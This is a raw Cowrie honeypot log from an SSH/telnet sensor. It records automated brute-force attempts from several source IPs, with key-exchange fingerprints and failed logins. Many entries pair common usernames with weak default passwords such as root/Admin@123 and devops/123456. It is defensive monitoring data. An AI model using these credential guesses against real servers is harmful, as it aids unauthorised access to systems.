{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:05.044244Z","src_ip":"45.156.87.147","session":"8df6350f387e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:06.184780Z","src_ip":"45.156.87.147","session":"8df6350f387e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41952,"dst_ip":"10.17.0.5","dst_port":22,"session":"99e021cb0270","protocol":"ssh","message":"New connection: 91.92.42.227:41952 (10.17.0.5:22) [session: 99e021cb0270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:08.306988Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345","message":"login attempt [root/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:09.311865Z","src_ip":"91.92.42.227","session":"ffaed42680fe","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:09.755736Z","src_ip":"91.92.42.227","session":"99e021cb0270","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:09.759151Z","src_ip":"91.92.42.227","session":"99e021cb0270","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44852,"dst_ip":"10.17.0.5","dst_port":22,"session":"9617fff453e6","protocol":"ssh","message":"New connection: 45.156.87.147:44852 (10.17.0.5:22) [session: 9617fff453e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:10.659479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:10.668670Z","src_ip":"45.156.87.147","session":"9617fff453e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:10.757477Z","src_ip":"45.156.87.147","session":"9617fff453e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:11.039977Z","src_ip":"45.156.87.147","session":"9617fff453e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:11.829422Z","src_ip":"91.92.42.227","session":"ffaed42680fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:12.124477Z","src_ip":"45.156.87.147","session":"9617fff453e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345","message":"login attempt [user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:15.640240Z","src_ip":"91.92.42.227","session":"99e021cb0270","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.4605610370636,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:16.456705Z","src_ip":"102.37.220.188","session":"f87f9a9076d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44860,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9b5cece24e3","protocol":"ssh","message":"New connection: 45.156.87.147:44860 (10.17.0.5:22) [session: d9b5cece24e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:16.736077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:16.740263Z","src_ip":"45.156.87.147","session":"d9b5cece24e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:16.831018Z","src_ip":"45.156.87.147","session":"d9b5cece24e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:17.076320Z","src_ip":"45.156.87.147","session":"d9b5cece24e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:17.303658Z","src_ip":"91.92.42.227","session":"99e021cb0270","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51358,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa134aac4458","protocol":"ssh","message":"New connection: 91.92.42.227:51358 (10.17.0.5:22) [session: fa134aac4458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:17.759946Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":57362,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd296b78a821","protocol":"ssh","message":"New connection: 8.219.200.1:57362 (10.17.0.5:22) [session: cd296b78a821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:18.091282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:18.148409Z","src_ip":"8.219.200.1","session":"cd296b78a821","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:18.161469Z","src_ip":"45.156.87.147","session":"d9b5cece24e3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:18.264311Z","src_ip":"91.92.42.227","session":"fa134aac4458","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:18.267950Z","src_ip":"91.92.42.227","session":"fa134aac4458","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:18.330656Z","src_ip":"8.219.200.1","session":"cd296b78a821","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:20.104795Z","src_ip":"91.92.42.227","session":"fa134aac4458","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:21.433341Z","src_ip":"8.219.200.1","session":"cd296b78a821","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:21.885602Z","src_ip":"91.92.42.227","session":"fa134aac4458","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":47766,"dst_ip":"10.17.0.5","dst_port":22,"session":"6abded94ddbf","protocol":"ssh","message":"New connection: 45.156.87.147:47766 (10.17.0.5:22) [session: 6abded94ddbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:22.610251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:22.614665Z","src_ip":"45.156.87.147","session":"6abded94ddbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:22.701806Z","src_ip":"45.156.87.147","session":"6abded94ddbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:22.951093Z","src_ip":"45.156.87.147","session":"6abded94ddbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.57081866264343,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:23.983613Z","src_ip":"128.199.8.54","session":"e310d4a5d4ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:24.035356Z","src_ip":"45.156.87.147","session":"6abded94ddbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:24.655189Z","src_ip":"8.219.200.1","session":"cd296b78a821","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":60376,"dst_ip":"10.17.0.5","dst_port":22,"session":"86d3d9fc81a4","protocol":"ssh","message":"New connection: 91.92.42.227:60376 (10.17.0.5:22) [session: 86d3d9fc81a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:25.808317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:25.815514Z","src_ip":"91.92.42.227","session":"86d3d9fc81a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:25.902293Z","src_ip":"91.92.42.227","session":"86d3d9fc81a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"potok","password":"potok","message":"login attempt [potok/potok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:26.383527Z","src_ip":"91.92.42.227","session":"86d3d9fc81a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:27.767979Z","src_ip":"91.92.42.227","session":"86d3d9fc81a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":59722,"dst_ip":"10.17.0.5","dst_port":22,"session":"03d3fff1bfb0","protocol":"ssh","message":"New connection: 103.176.20.57:59722 (10.17.0.5:22) [session: 03d3fff1bfb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:28.049514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:28.054821Z","src_ip":"103.176.20.57","session":"03d3fff1bfb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:28.311517Z","src_ip":"103.176.20.57","session":"03d3fff1bfb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":47778,"dst_ip":"10.17.0.5","dst_port":22,"session":"d54d1661d4ea","protocol":"ssh","message":"New connection: 45.156.87.147:47778 (10.17.0.5:22) [session: d54d1661d4ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:28.719540Z"}
